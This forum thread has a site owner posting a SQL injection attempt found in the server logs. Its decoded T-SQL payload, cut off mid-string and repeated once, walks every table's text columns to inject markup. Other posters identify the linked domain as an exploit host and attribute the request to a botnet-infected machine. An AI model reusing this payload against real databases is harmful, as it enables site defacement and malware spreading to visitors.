Am I Being H4X0R3D?

[lordkafei]

I run a small niche site (nothing to do with Runescape or gaming).

 

 

 

Tonight, while looking at my logs, I noticed someone trying to reach a strange URL:

 

 

 

http://[my site url was here]/?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152 ...

 

 

 

After decoding all that hex, I got this:

 

 

 

DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''">

[Orpheus]

From what I can see, and the fact I'm an amateur, I'd daresay it's a keylogger, an injection attack, a tracker, or a rootkit. Try not to go to the website in the hex, I can't guarantee it's a clean link.

[urbestfreind]

http://www.siteadvisor.com/sites/douhunqn.cn

 

 

 

Check the comment on the bottom. ultimania92 was right on almost all counts there lol, that site (and all the ones it links to apparently) has links to browser exploits. Just google search douhunqn.cn, the results pretty much confirm what the SiteAdvisor site said.

[lordkafei]

Thanks for the info.

 

 

 

The IP in question traces back to the Philadelphia area. Makes me think someone's computer is infected by a botnet.

 

 

 

141.158.58.64

[Orpheus]

Thanks for the info.

 

 

 

The IP in question traces back to the Philadelphia area. Makes me think someone's computer is infected by a botnet.

 

 

 

141.158.58.64

 

 

 

That would be just about right, why he didn't hide his IP though is beyond me.

[Sinkhan]

Well generally, people who are unknowingly infected and become a part of a botnet don't try to hide their IP.

 

 

 

These people are usually the one's who don't know what botnets are and leave their computer open to them in the first place.

[D. V. Devnull]

Thanks for the info.

 

 

 

The IP in question traces back to the Philadelphia area. Makes me think someone's computer is infected by a botnet.

 

 

 

141.158.58.64

 

You're right on, lordkafei. It is a person who didn't properly protect their PC, and is currently an unknowing host to a bot on their system. Further info is at the link below...

 

 

 

http://network-tools.com/default.asp?prog=express&host=141.158.58.64

 

(Note: I don't provide bad links. It is clean, so go have a look!)

 

 

 

I suggest that you note the date and time of when the attack occurred, and get in touch with Verizon in Philadelphia. They will be able to put an end to this problem, forever. :ugeek:

 

 

 

~Mr. D. V. Devnull

[Mainman46]

DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''">